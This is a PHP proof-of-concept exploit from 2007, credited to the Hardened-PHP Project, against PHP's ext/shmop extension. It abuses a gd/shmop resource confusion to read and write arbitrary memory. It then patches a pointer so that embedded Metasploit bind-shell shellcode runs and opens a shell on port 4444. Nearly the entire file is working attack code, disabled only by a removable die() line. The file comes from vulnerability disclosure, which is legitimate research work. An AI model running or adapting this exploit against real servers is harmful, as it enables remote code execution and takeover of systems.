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<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP ext/shmop Code Execution Exploit //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");
if (!extension_loaded("gd") || !extension_loaded("shmop")) {
die("This demonstration exploit only works with ext/gd and ext/shmop loaded.");
}
// This exploit contains a bindshell shellcode for linux x86 from metasploit
// Therefore it only works with linux x86. It only works in PHP < 5.2.0 because
// it searches for the shellcode by simply scanning the Apache memory
// which is not possible with the new memory manager anymore
$shellcode = "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46".
"\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f".
"\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6".
"\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06".
"\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc".
"\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d".
"\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65";
function init()
{
global $rid;
$rid = imagecreate(10,10);
imagecolorallocate($rid, 0, 0, 0);
imagecolorallocate($rid, 0, 0, 0);
}
function peek($addr, $size)
{
global $rid;
imagecolordeallocate($rid, 0);
imagecolordeallocate($rid, 1);
imagecolorallocate($rid, $addr, 0, 0);
imagecolorallocate($rid, $size, 0, 0);
return shmop_read((int)$rid, 0, $size);
}
function poke($addr, $val)
{
global $rid;
imagecolordeallocate($rid, 0);
imagecolordeallocate($rid, 1);
imagecolorallocate($rid, $addr, 0, 0);
imagecolorallocate($rid, strlen($val), 0, 0);
return shmop_write((int)$rid, $val, 0);
}
init();
$arr = array();
for ($i=0; $i<129; $i++) { $arr[$i] = ""; }
$arr[$shellcode] = 1;
for ($i=0; $i<129; $i++) { unset($arr[$i]); }
$offset = 0x08048000 + 1024 * 64;
while (1) {
$data = peek($offset, 1024 + 16);
$position = strpos($data, "\x00\x01\x00\x00\xff\x00\x00\x00\x01\x00\x00\x00");
if ($position !== false && $position < 1024) {
$addr = unpack("L", peek($offset+$position+24, 4));
$addr = $addr[1] + 32;
$addr = pack("L", $addr);
poke($offset+$position+32, $addr);
echo "There should be a shell bound to port 4444 now\n\n";
unset($arr);
die();
}
$offset += 1024;
}
?>
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